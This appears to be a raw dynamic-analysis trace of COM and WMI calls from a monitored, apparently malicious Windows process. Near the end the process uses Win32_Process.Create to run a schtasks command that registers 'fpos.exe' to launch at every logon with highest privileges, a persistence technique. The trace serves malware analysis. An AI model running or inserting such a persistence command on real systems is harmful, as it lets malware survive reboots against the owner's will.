WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf3b100) returned 0x0 [0085.690] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3af80, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0085.690] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3af80, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0085.691] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3af80, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0085.691] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3b100, uIndex=0x0, pszName="ROOT") returned 0x0 [0085.691] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3af80, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0085.691] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3af80, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0085.691] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3b100, uIndex=0x1, pszName="CIMV2") returned 0x0 [0085.691] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf3b100, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0085.691] WbemDefPath:IWbemPath:SetClassName (This=0x1bf3b100, Name="Win32_Process") returned 0x0 [0085.691] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3b100, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0085.691] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b100, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0085.691] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b100, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0085.691] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b100, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0085.692] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3b100, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0085.692] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b100, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0085.692] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b100, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0085.692] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b100, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0085.692] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b280, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0085.692] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0085.692] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0085.692] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b100, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0085.692] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b100, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0085.692] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0085.692] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0085.692] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0085.692] IUnknown:Release (This=0x111f638) returned 0x1 [0085.695] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1bef8ba0) returned 0x0 [0085.695] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8ba0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0085.696] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8ba0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bf3ad40) returned 0x0 [0085.696] WbemDefPath:IUnknown:Release (This=0x1bef8ba0) returned 0x0 [0085.696] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ad40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bf3ad40) returned 0x0 [0085.696] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ad40, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0085.696] WbemDefPath:IUnknown:AddRef (This=0x1bf3ad40) returned 0x3 [0085.696] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ad40, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0085.697] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ad40, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0085.697] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ad40, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bef8440) returned 0x0 [0085.697] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8440, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0085.697] WbemDefPath:IUnknown:Release (This=0x1bef8440) returned 0x3 [0085.697] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0085.697] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0085.697] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ad40, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0085.697] WbemDefPath:IUnknown:Release (This=0x1bf3ad40) returned 0x2 [0085.697] WbemDefPath:IUnknown:Release (This=0x1bf3ad40) returned 0x1 [0085.697] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0085.697] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0085.697] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ad40, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bf3ad40) returned 0x0 [0085.698] WbemDefPath:IUnknown:AddRef (This=0x1bf3ad40) returned 0x3 [0085.698] WbemDefPath:IUnknown:Release (This=0x1bf3ad40) returned 0x2 [0085.698] WbemDefPath:IWbemPath:SetText (This=0x1bf3ad40, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0085.698] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b280, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0085.698] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0085.698] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0085.698] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0085.698] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0085.698] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0085.698] IUnknown:Release (This=0x111f638) returned 0x1 [0085.703] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bef8460) returned 0x0 [0085.704] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8460, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0085.704] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8460, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3ae00) returned 0x0 [0085.704] WbemDefPath:IUnknown:Release (This=0x1bef8460) returned 0x0 [0085.704] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ae00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3ae00) returned 0x0 [0085.704] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ae00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0085.704] WbemDefPath:IUnknown:AddRef (This=0x1bf3ae00) returned 0x3 [0085.704] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ae00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0085.704] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ae00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0085.704] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ae00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bef8660) returned 0x0 [0085.704] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8660, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0085.705] WbemDefPath:IUnknown:Release (This=0x1bef8660) returned 0x3 [0085.705] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0085.705] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0085.705] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ae00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0085.705] WbemDefPath:IUnknown:Release (This=0x1bf3ae00) returned 0x2 [0085.705] WbemDefPath:IUnknown:Release (This=0x1bf3ae00) returned 0x1 [0085.705] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0085.705] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0085.705] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ae00, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3ae00) returned 0x0 [0085.705] WbemDefPath:IUnknown:AddRef (This=0x1bf3ae00) returned 0x3 [0085.705] WbemDefPath:IUnknown:Release (This=0x1bf3ae00) returned 0x2 [0085.705] WbemDefPath:IWbemPath:SetText (This=0x1bf3ae00, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0085.705] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ad40, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0085.705] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ae00, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0085.705] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ae00, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0085.705] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ae00, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0085.705] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf3ad40) returned 0x0 [0085.705] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ae00, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0085.706] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3ae00, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0085.706] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3ae00, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0085.706] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3ad40, uIndex=0x0, pszName="root") returned 0x0 [0085.706] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3ae00, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0085.706] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3ae00, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0085.706] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3ad40, uIndex=0x1, pszName="cimv2") returned 0x0 [0085.706] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3ae00, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0085.706] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3ae00, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0085.706] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3ad40, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0085.706] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3ad40, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0085.706] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3ad40, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0085.706] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b280, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0085.706] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0085.706] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0085.706] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b280, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0085.706] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0085.706] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0085.706] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ad40, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0085.707] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ad40, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0085.707] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ad40, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0085.707] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ad40, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0085.707] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ad40, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0085.707] IWbemServices:GetObject (in: This=0x11c7440, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1bef4050, ppCallResult=0x0) returned 0x0 [0085.711] IWbemClassObject:GetMethod (in: This=0x1bef4050, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1bef43c0, ppOutSignature=0x1b2fd9e0*=0x1bef4730) returned 0x0 [0085.712] IWbemClassObject:SpawnInstance (in: This=0x1bef43c0, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf44df0) returned 0x0 [0085.712] IWbemClassObject:Get (in: This=0x1bf44df0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2953360*=0, plFlavor=0x2953364*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2953360*=8, plFlavor=0x2953364*=32) returned 0x0 [0085.712] IWbemClassObject:Get (in: This=0x1bf44df0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2953360*=8, plFlavor=0x2953364*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2953360*=8, plFlavor=0x2953364*=32) returned 0x0 [0085.713] IWbemClassObject:Put (This=0x1bf44df0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"fpos\" /sc ONLOGON /tr \"'C:\\Users\\All Users\\Application Data\\fpos.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0085.713] IWbemClassObject:Get (in: This=0x1bf44df0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29533f0*=0, plFlavor=0x29533f4*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29533f0*=13, plFlavor=0x29533f4*=32) returned 0x0 [0085.713] IWbemClassObject:Get (in: This=0x1bf44df0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29533f0*=13, plFlavor=0x29533f4*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29533f0*=13, plFlavor=0x29533f4*=32) returned 0x0 [0085.713] IUnknown:QueryInterface (in: This=0x1bef3970, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1bef3970) returned 0x0 [0085.713] IUnknown:QueryInterface (in: This=0x1bef3970, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0085.713] IUnknown:QueryInterface (in: This=0x1bef3970, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 